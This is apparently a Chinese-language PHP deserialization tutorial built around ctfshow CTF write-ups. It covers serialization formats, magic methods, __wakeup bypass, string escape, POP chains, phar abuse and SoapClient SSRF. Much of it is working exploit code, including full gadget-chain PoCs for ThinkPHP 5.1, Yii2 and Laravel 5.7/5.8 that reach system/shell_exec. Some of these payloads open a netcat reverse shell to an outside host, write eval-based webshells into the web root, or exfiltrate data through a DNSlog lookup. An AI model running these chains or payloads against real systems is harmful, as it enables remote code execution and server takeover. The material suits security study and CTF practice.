PHP反序列化
简介
什么是序列化? 对象转换成字符串 为什么转换:1.持久保存。2.方便网络传输,例如session缓存,cookie等
什么是反序列化? 字符串转换成对象
php序列化和反序列化的函数:
序列化:serialize()
反序列化:unserialize()
tip:对字符串进行序列化后是它本身(ctfshow web260)
源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
//因此直接?ctfshow=/ctfshow_i_love_36D/ 即可
常见的序列化格式
python反序列化
ctfshow277,278
受影响的函数:
Phar与Stream Wrapper造成PHP RCE的深入挖掘 - zsx's Blog
绕过方式
当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://
和compress.zlib://
等绕过
compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt
当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。 php://filter/read=convert.base64-encode/resource=phar://phar.phar GIF格式验证可以通过在文件头部添加GIF89a绕过 1、$phar->setStub(“GIF89a”.""); //设置stub 2、生成一个phar.phar,修改后缀名为phar.g
php-session反序列化
session简单介绍
在计算机中,尤其是在网络应用中,称为“会话控制”。Session 对象存储特定用户会话所需的属性及配置 信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而 是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web 页时,如果该用户还没有会话, 则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后,服务器将终止该会话。 当第一次访问网站时,seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应 头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文 件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将 Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID, 而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信 息读出,在当前脚本中应用,达到跟踪这个用户的目的。
session 的存储机制
php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项 session.save_handler来进行确定的,默认是以文件的方式存储。 存储的文件是以sess_sessionid来进行命名的 session_start();运行之后开启session并且产生一个唯一的32位的session_id
session文件创建的几个tip
1.代码中有session_start(),会自动创建session文件。
2.如果session.auto_start=On
,则PHP在接收请求的时候会自动初始化Session(也就创建了session文件),不再需要执行session_start()。但默认情况下,这个选项都是关闭的。
3.session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。
比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get("session.upload_progress.prefix")+由我们构造的session.upload_progress.name值组成,最后被写入session文件里。
注意:如果默认配置session.upload_progress.cleanup = on
导致文件上传后,session文件内容立即清空。这时我们就要利用竞争,在session文件内容清空前进行包含利用。
php.ini中一些session配置
session.save_path=“” --设置session的存储路径 session.save_handler=“”–设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen–指定会话模块是否在请求开始时启动一个会话默认为0不启动 session.serialize_handler string–定义用来序列化/反序列化的处理器名字。默认使用php
利用姿势
session.upload_progress进行文件包含和反序列化渗透 利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户
使用不同的引擎来处理session文件
$_SESSION变量直接可控
php引擎的存储格式是键名|serialized_string
,而php_serialize引擎的存储格式是serialized_string
。如果程序使用两个引擎来分别处理的话就会出现问题
<?php session_start(); $_SESSION['aaa'] = 'bbb'; //aaa|s:3:"bbb"; //该引擎使用的是php,会把'|'看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对'|'后的值进行反序列化处理。
<?php ini_set('session.serialize_handler','php_serialize'); session_start(); $_SESSION['aaa'] = 'bbb'; //a:1:{s:3:"aaa";s:3:"bbb";} //php_serialize引擎只会把'|'当做一个正常的字符。
ctfshow web263
-
二进制格式
-
字节数组
-
json字符串
-
xml字符串
-
案例
数组序列化
<?php $a = array('hello','hi'); $a_ser = serialize($a); echo $a_ser; ?>
结果:
a:2:{i:0;s:5:"hello";i:1;s:2:"hi";}
2:表示a有两个属性 i:表示int型数据;0:表示下标0 s:表示string字符串数组;5:长度为5
解析:
a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
对象序列化
<?php class Student{ public $name; public $age; function __construct(){ $this->name = 'abab'; $this->age = 18; } function pr(){ return $this->name; return $this->age; } } $stu = new Student(); $stu_ser = serialize($stu); echo $stu_ser ?>
结果:
O:7:"Student":2:{s:4:"name";s:4:"abab";s:3:"age";i:18;}
注:序列化后的内容只有成员变量,没有成员函数
还有一种成员变量就是protected类型
<?php class test{ public $aa; private $bb; protected $cc; function __construct(){ $this->aa = 'aaa'; $this->bb = 'bbb'; $this->cc = 'ccc'; } } $d = new test(); $d_ser = serialize($d); echo $d_ser; ?>
如果是private类型,会在变量名前加上\x00类名\x00,如果是protected类型,则会加上\x00*\x00, 这些都是不可见字符
输出则会导致不可见字符
\x00
的丢失结果:
O:4:"test":3:{s:2:"aa";s:3:"aaa";s:8:"testbb";s:3:"bbb";s:5:"*cc";s:3:"ccc";}
如果需要本地存储推荐“urlencode”
urlencode($d_ser);
反序列化中常见的魔术方法
- __wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //析构函数,对象被销毁时触发
__construct() //构造函数,当创建对象时自动调用。
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发 -
反序列化绕过小Trick
php7.1+反序列化对类属性不敏感
我们前面说了如果变量前是protected,序列化结果会在变量名前加上
\x00*\x00
但在特定版本7.1以上则对于类属性不敏感,比如下面的例子即使没有
\x00*\x00
也依然会输出abc
<?php class test{ protected $a; public function __construct(){ $this->a = 'abc'; } public function __destruct(){ echo $this->a; } } unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}'); ?>
绕过__wakeup
版本: • PHP5 < 5.6.25 • PHP7 < 7.0.10
利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
例:
<?php class test{ public $a; public function __construct(){ $this->a = 'abc'; } public function __wakeup(){ $this->a='666'; } public function __destruct(){ echo $this->a; } }
如果执行unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');输出结果为666 而把对象属性个数的值增大执行unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}');输出结果为abc
绕过部分正则
正则表达式:描述了一种字符串匹配的模式(pattern),可以用来检查一个串是否含有某种子串、将匹 配的子串替换或者从某个串中取出符合某个条件的子串等。
preg_match('/^O:\d+/') //匹配序列化字符串是否是对象字符串开头
利用加号绕过(在url传参时注意+编码为%2B)
serialize(array( a ) ) a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构)
<?php class test{ public $a; public function __construct(){ $this->a = 'abc'; } public function __destruct(){ echo $this->a.PHP_EOL; } } function match($data){ if (preg_match('/^O:\d+/',$data)){ die('you lose!'); }else{ return $data; } } $a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}'; // +号绕过 $b = str_replace('O:4','O:+4', $a); unserialize(match($b)); // serialize(array($a)); unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');
ctfshow web258
编写脚本:
<?php class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public $class = 'backDoor'; public function __construct(){ $this->class=new backDoor(); } public function __destruct(){ $this->class->getInfo(); } } class backDoor{ public $code='system("cat flag.php");'; public function getInfo(){ eval($this->code); } } $a = new ctfShowUser(); $a = serialize($a); $a= str_replace('O:', 'O:+',$a);//绕过preg_match echo urlencode($a); ?> //主要是调用backDoor执行eval命令函数获取flag
利用引用
-
<?php class test{ public $a; public $b; public function __construct(){ $this->a = 'abc'; $this->b= &$this->a; } public function __destruct(){ if($this->a===$this->b){ echo 666; } } } $a = serialize(new test());
上面这个例子将`$b`设置为`$a`的引用,可以使`$a`永远与`$b`相等
ctfshow 265
-
<?php class ctfshowAdmin{ public $token; public $password; public function __construct($t,$p){ $this->token=$t; $this->password = &$this->token; } public function login(){ return $this->token===$this->password; } } $a = serialize(new ctfshowAdmin('123','123')); echo urlencode($a); ?>
16进制绕过字符的过滤
O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";} 可以写成 O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";} 表示字符类型的s大写时,会被当成16进制解析。 61(16进制)->97(十进制)->a(ASCII)
<?php class test{ public $username; public function __construct(){ $this->username = 'admin'; } public function __destruct(){ echo 666; } } function check($data){ if(stristr($data, 'username')!==False){ echo("你绕不过!!".PHP_EOL); } else{ return $data; } } // 未作处理前 $a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}'; $a = check($a); unserialize($a); // 做处理后 \75是u的16进制 $a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}'; $a = check($a); unserialize($a);
PHP反序列化字符逃逸
1.过滤后字符变多(反序列化后的一个x替换成为两个)
<?php function change($str){ return str_replace("x","xx",$str); } $name = $_GET['name']; $age = "I am 11"; $arr = array($name,$age); echo "反序列化字符串:"; var_dump(serialize($arr)); echo "<br/>"; echo "过滤后:"; $old = change(serialize($arr)); $new = unserialize($old); var_dump($new); echo "<br/>此时,age=$new[1]"; ?>
正常输出如下
添加一个x看看:
这个就是将GET传入的name中的 x 改为了 xx 正常传入不含x的name值就会正常显示 例如:?name=mao,此时长度为3 如果我们传入maox,正常情况下他的长度就是4,但是经过change函数的替换,变成了abcxx,导致溢 出(长度大于4) 进而影响下面的反序列化 我们可以利用这一点来实现字符串逃逸 构造:
?name=abcxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"whoami";}
输出如下:
解释:
当我们构造name时,在abc后写18个x,而且后面 ";i:1;s:4:"flag";} 也是18的长度 在进行change时,这里的18个x就变成了36个x,刚好符合序列化时的长度 从而造成 ";i:1;s:4:"flag";} 溢出,前面的"闭合前串,后面的;}闭合反序列化的全过程 而先前存在的$age被舍弃(因为这里数组只有两个元素),不影响反序列化的过程
总之,age变量被我们控制
2.过滤后字符变少(把反序列化后的两个x替换成为一个)
<?php function change($str){ return str_replace("xx","x",$str); } $arr['name'] = $_GET['name']; $arr['age'] = $_GET['age']; echo "反序列化字符串:"; var_dump(serialize($arr)); echo "<br/>"; echo "过滤后:"; $old = change(serialize($arr)); var_dump($old); echo "<br/>"; $new = unserialize($old); var_dump($new); echo "<br/>此时,age="; echo $new['age'];
构造:
?name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&age=11";s:3:"age";s:6:"whoami";}
这里的40个x经过滤后就变为了20个x,但是在前面的长度还是40,所以后面的20个字符被”吃掉“
s:3:"age";s:28:"11";s:3:"age";s:6:"woaini";}"
注意 ";s:3:"age";s:28: 这一部分本来就有,后面的 ;s:3:"age";s:6:"whoami";} 为我们所构造的 age被我们控制
ctfshow web262
脚本:
<?php class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } function filter($msg){ return str_replace('fuck', 'loveU', $msg); } $msg = new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c'); $msg_1 = serialize($msg); echo $msg_1; $msg_2 =filter($msg_1); echo $msg_2; //O:7:"message":4:{s:4:"from";s:310:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";} ?>
对象注入
对象注入 当用户的请求在传给反序列化函数 unserialize() 之前没有被正确的过滤时就会产生漏洞。因为PHP允 许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的 unserialize 函数,最终 导致一个在该应用范围内的任意PHP对象注入。 前提需要满足两个条件
1、unserialize的参数可控。 2、代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函 数。
<?php class A{ public $test = "12345"; function __destruct(){ echo $this->test; } } $a = 'O:1:"A":1:{s:4:"test";s:5:"23456";}'; unserialize($a); ?>
脚本结束时会调用__destruct()函数,同时会覆盖test变量输出 23456
POP链简单介绍
前面所讲解的序列化攻击更多的是魔术方法中出现一些利用的漏洞,因为自动调用而触发漏洞,但如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来
简单案例MRCTF2020-Ezpop
Welcome to index.php <?php class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ //当尝试将对象调用为函数时触发 $this->append($this->var); } } $a $b class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ //把类当作字符串使用时触发 return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ //当调用一个不存在的或者是无法访问的属性的时候被调用 $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); } ?>
共有3个类,反序列化会调用wakeup,存在于Show类wake中的$this->source可控,也就是Show中$source变量可控
思路:将$source构造成一个对象Show,当$source为一个对象时。就会执行Show类中的toString 此时将$str指向Test类 $this->str->source:取str类中的source值,使这个值自动调用get 此时将$p构造成new Modifier return $function() 表示将function当作函数返回 当类变量直接当作函数调用的时候,就会调用魔术方法__invoke 然后将$var构造成读取源码即可
$var = 'php://filter/read=convert.base64-encode/recource=flag.php';
payload:
<?php ini_set('memory_limit','-1'); class Modifier { protected $var = 'php://filter/read=convert.base64- encode/resource=flag.php'; } class Show{ public $source; public $str; public function __construct($file){ $this->source = $file; $this->str = new Test(); } } class Test{ public $p; public function __construct(){ $this->p = new Modifier(); } } $a = new Show('aaa'); $a = new Show($a); echo urlencode(serialize($a)); ?>
Phar反序列化
ctfshow 276
phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操 作函数调用phar文件时,会自动反序列化meta-data内的内容。
什么是phar文件
在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像, 样式表等)捆绑到一个归档文件中来实现应用程序和库的分发 php通过用户定义和内置的“流包装器”实现复杂的文件处理功能。内置包装器可用于文件系统函数,如 (fopen(),copy(),file_exists()和filesize()。 phar://就是一种内置的流包装器。 php中一些常见的流包装器如下:
file:// — 访问本地文件系统,在用文件系统函数时默认就使用该包装器 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 访问各个输入/输出流(I/O streams) zlib:// — 压缩流 data:// — 数据(RFC 2397) glob:// — 查找匹配的文件路径模式 phar:// — PHP 归档 ssh2:// — Secure Shell 2 rar:// — RAR ogg:// — 音频流 expect:// — 处理交互式的流
phar文件的结构
stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。 manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。 content:被压缩文件的内容 signature (可空):签名,放在末尾。
下面生成一个phar文件 前提:开启php.ini中的 phar.readonly = off
<?php class Test { } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new Test(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
漏洞利用条件
-
phar文件要能够上传到服务器端。
-
要有可用的魔术方法作为“跳板”。
-
文件操作函数的参数可控,且
:
、/
、phar
等特殊字符没有被过滤。 -
web275
__destruct
当对象被销毁时调用,所以我们不需要用到反序列化函数。那么只要$this->evilfile
是true就可以执行系统命令了。最后在拼接一下命令
payload?fn=;cat f* data: flag=123
web274
thinkphp 5.1反序列化漏洞
<?php namespace think; abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->append = ["lin"=>["calc.exe","calc"]]; $this->data = ["lin"=>new Request()]; } } class Request { protected $hook = []; protected $filter = "system"; protected $config = [ // 表单ajax伪装变量 'var_ajax' => '_ajax', ]; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'lin']; $this->hook = ["visible"=>[$this,"isAjax"]]; } } namespace think\process\pipes; use think\model\concern\Conversion; use think\model\Pivot; class Windows { private $files = []; public function __construct() { $this->files=[new Pivot()]; } } namespace think\model; use think\Model; class Pivot extends Model { } use think\process\pipes\Windows; echo base64_encode(serialize(new Windows())); ?>
web270
<?php namespace yii\rest { class Action { public $checkAccess; } class IndexAction { public function __construct($func, $param) { $this->checkAccess = $func; $this->id = $param; } } } namespace yii\web { abstract class MultiFieldSession { public $writeCallback; } class DbSession extends MultiFieldSession { public function __construct($func, $param) { $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"]; } } } namespace yii\db { use yii\base\BaseObject; class BatchQueryResult { private $_dataReader; public function __construct($func, $param) { $this->_dataReader = new \yii\web\DbSession($func, $param); } } } namespace { $exp = new \yii\db\BatchQueryResult('shell_exec', 'nc xxx.xxx.xxx.xxx 4567 -e /bin/sh'); echo(base64_encode(serialize($exp))); }
web271
- laravel5.7反序列化漏洞
大家有兴趣可以下载源码自己去分析分析
poc:<?php namespace Illuminate\Foundation\Testing { class PendingCommand { public $test; protected $app; protected $command; protected $parameters; public function __construct($test, $app, $command, $parameters) { $this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser $this->app = $app; //一个实例化的类 Illuminate\Foundation\Application $this->command = $command; //要执行的php函数 system $this->parameters = $parameters; //要执行的php函数的参数 array('id') } } } namespace Faker { class DefaultGenerator { protected $default; public function __construct($default = null) { $this->default = $default; } } } namespace Illuminate\Foundation { class Application { protected $instances = []; public function __construct($instances = []) { $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances; } } } namespace { $defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world")); $app = new Illuminate\Foundation\Application(); $application = new Illuminate\Foundation\Application($app); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('whoami')); echo urlencode(serialize($pendingcommand)); }
web 272、273
- laravel5.8反序列化漏洞
poc<?php /* Author:monitor description: laravel deserialization chain */ namespace Illuminate\Broadcasting { class PendingBroadcast{ protected $events; protected $event; public function __construct($events,$event) { $this->events = $events; $this->event = $event; } } } namespace Illuminate\Bus { class Dispatcher{ protected $queueResolver; public function __construct($queueResolver) { $this->queueResolver = $queueResolver; } } } namespace Mockery\Loader { class EvalLoader{ } } namespace Mockery\Generator { class MockDefinition{ protected $config; protected $code; public function __construct($config,$code){ $this->config = $config; $this->code = $code; } } class MockConfiguration{ protected $name; public function __construct($name) { $this->name = $name; } } } namespace Illuminate\Queue { class CallQueuedClosure{ public $connection; public function __construct($connection) { $this->connection = $connection; } } } namespace { if($argc<2){ echo "Description:\n\tUse laravel deserialization to eval php code,don't need to input php tags."; echo "\nUsage:" .$argv[0] . " <code>"; exit(); } $code = $argv[1]; $mockconfiguration = new Mockery\Generator\MockConfiguration("pass"); $mockdefination = new Mockery\Generator\MockDefinition($mockconfiguration,"<?php ".$code." exit;?>"); $callqueuedclosure = new Illuminate\Queue\CallQueuedClosure($mockdefination); $evaload = new Mockery\Loader\EvalLoader(); $dispatcher = new Illuminate\Bus\Dispatcher(array($evaload,"load")); $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$callqueuedclosure); echo urlencode(serialize($pendingbroadcast)); }
用法 php index.php system(‘cat$IFS$9/f*’);
-
web262
考察反序列化字符串逃逸,具体内容可以看下我之前写的一个文章或者借鉴下其他大佬的。
这个题有个小hint在注释里面。
if($msg->token=='admin'){
echo $flag;
}
tip:还有个message.php页面,我们看到,需要token为admin才能输出flag
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = 1;
$m = 1;
$t = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg ;
echo "\n";
echo base64_encode($umsg);
利用base64
f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
web254
读代码后发现题目要求传入的值等于类里面的值
?username=xxxxxx&password=xxxxxx
web255
<?php
class ctfShowUser{
public $isVip;
public function __construct(){
$this->isVip=true;
}
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
在GET处:
?username=xxxxxx&password=xxxxxx
在cookie处:
user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web257
tip:不能直接private $class=new backDoor();来赋给class一个类的值,只能通过__construct来赋值,但是可以直接赋给其字符的值。
<?php
class ctfShowUser{
private $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code="system('tac f*');"; //在实际中多试试tac /f*或者tac f*
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
web258
这题多了个正则过滤,并且变量都是public(这个注意)!!!
正则过滤[oc]是匹配o字符或者c字符,\d匹配一个数字字符,等价于[0-9],+号是匹配前面的\d一次或者多次。下面只需要将O:11变成O:+11就可以绕过了
<?php
class ctfShowUser{
public $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code="system('tac f*');";
}
$a=new ctfShowUser();
$b=serialize($a);
$b=str_replace("O:","O:+",$b);
echo urlencode($b);
web259
想要得到flag,就必须本地访问flag.php并带上token,是根据x-forwarded-for来判断的,第一反应是改xff头,但因为有了cloudfare代理,我们无法通过本地构造XFF头实现绕过。因此这题需要利用原生类的反序列化来实现SSRF,考察的是php的SoapClient原生类的反序列化。
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
最终的payload:
<?php
$a = new SoapClient(null,
array(
'user_agent' => "feng\r\nx-forwarded-for:127.0.0.1,127.0.0.1\r\nContent-type:application/x-www-form-urlencoded\r\nContent-length:13\r\n\r\ntoken=ctfshow",
'uri' => 'feng',
'location' => 'http://127.0.0.1/flag.php'
)
);
$b = serialize($a);
#$c = unserialize($b);
#$c->not_a_function();//调用不存在的方法,让SoapClient调用__call
echo urlencode($b);
<?php
$ua = "Lxxx\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));
print_r(urlencode(serialize($client)));
web260
带有ctfshow_i_love_36D的值进去都行
web267
查看源代码一下,发现一个东西
在GET请求中加入可以发现注入点
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'shell_exec'; //php函数
$this->id ="echo '<?php eval(\$_GET[1]);phpinfo();?>' > /var/www/html/basic/web/2.php"; //php函数的参数
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
直接去找公开的链子,命令执行可以用system、shell_exec、exec、passthru,这题只有passthru有回显,可以直接ls后拿flag,下面是写shell的演示。
tip:
1、可以shell_exec执行wget
pwd|base64
.dnslog.cn,外带数据得到当前网站路径2、在写shell的时候,最外面一定得双引号,里面才是单引号(参考上面写shell处的代码看)。而且$得用\进行转义,不然会写不成功。
3、得在一句话木马的后面加上其它语句,如上面的phpinfo();,不然显示语法错误,具体原因不清楚。
index.php?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6NzI6ImVjaG8gJzw/cGhwIGV2YWwoJF9HRVRbMV0pO3BocGluZm8oKTs/PicgPiAvdmFyL3d3dy9odG1sL2Jhc2ljL3dlYi8yLnBocCI7fWk6MTtzOjM6InJ1biI7fX19fQ==
web268 269 270
<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', "echo '<?php eval(\$_POST[1]);phpinfo();?>' > /var/www/html/basic/web/1.php");
echo(base64_encode(serialize($exp)));
}
过滤了上一条链子,可以换成下面这条,不过这里写shell用不了GET方法了,只能用POST。